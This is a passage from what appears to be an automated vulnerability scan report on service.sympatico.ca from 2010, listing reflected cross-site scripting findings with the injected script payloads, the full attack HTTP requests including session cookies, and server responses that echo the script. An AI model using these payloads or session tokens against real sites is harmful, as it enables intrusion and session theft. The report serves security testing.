2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:46 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery-ui.jsac72e"><script>alert(1)</script>088ecffc9a0" />
...[SNIP]...

2.196. http://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3460e"><script>alert(1)</script>e3aebcd738a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js3460e"><script>alert(1)</script>e3aebcd738a/jquery.autocomplete.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:30 GMT
Connection: close
Set-Cookie: SMSESSION=vIi+bUXpmgD0DcJ9v928CKhouyzqKe8iuokz05UwG+9SLkRkavtcHXHeedu/1VXUVPU/L+TCKrNTQCB+3AP4lfCLiR0rQRypBK6wy4G8AJENeK5Bgc92bpxKecezGh7qy1g3eJKARwz88BZ4SJczQDL76hiC0ImOGDhCmaCmKUBY+YRlOUE1CBy3WSx2nsCT1U2tWq57PmkbaoS7iP8X0RwTl6/Qjkhr4dskjTF7pyLlzkHQiQkoQWpVGgCD6L/JVxQoukCa9yHAezi3JSPHPGlhj8E81lZGd2OKEfaipnG116MrrYTDNA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:31 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:31 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:31 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:31 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js3460e"><script>alert(1)</script>e3aebcd738a/jquery.autocomplete.js" />
...[SNIP]...

2.197. http://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba224"><script>alert(1)</script>1eebb06eb9e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.autocomplete.jsba224"><script>alert(1)</script>1eebb06eb9e HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:40 GMT
Connection: close
Set-Cookie: SMSESSION=UNPrYS7RlX+jCyiOBQ5DO1VPrZLNdZXgDPiRGV1BrGZSWgRVc5lbVuyMMylyvhJ8hAbTKqI+n40tNHY+6laxtLGK6YAi6pgjD2iqQIK/TqMikkRKk1GsjWWvLBB3aV60ItMKcWoRoWMK+IYLi59SDL0ghWsUu3bH5EabvDTruo+5xVN2MIwhJIdfwsIKwb3p7pWlpPIAqp0qqKiBDm69OPbFHJkYmLrQW0yHmMjE0P1os1yuJMPKWVnUGOD/tjwG8PbUm10bBdpYxQwH5vJ0uDXqfIsDfCorCbVwfjLNyzND8Wsq+97tAg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:40 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:40 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:40 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:40 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:40 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:40 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.autocomplete.jsba224"><script>alert(1)</script>1eebb06eb9e" />
...[SNIP]...

2.198. http://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.blockUI.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71694"><script>alert(1)</script>db2468b1d5e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js71694"><script>alert(1)</script>db2468b1d5e/jquery.blockUI.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:34 GMT
Connection: close
Set-Cookie: SMSESSION=JjOLuKJFaRqx1dEZFRBVsw5O1Xy/HfCk4vhaF9TSKph4Poi5+uyula5l3ztVEFJJvrhjOpcDBEYJZ1dIyH2T6fX+sFfjvpqdnBcl5L09PvFQsazvVv0RdCHjj94Lc+y3yZrsh3JiwQDq2W5T+mEZm3/DKEgxg0SP+A+zsS5bt+FOPn6NNHDXLL6fvFA238peXZDllYMmTq8pkBjHSNkse5P6OGrvbyvUS4HlpbqqDNq14cZLEYTvSZlrzXCwG/VdDNbcE6HAXXrAze2BZ9/wnY8W2EYcdUcqRUGzSs4GH9JLDVwbBw3qjw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:35 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:35 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:35 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:35 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:35 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26l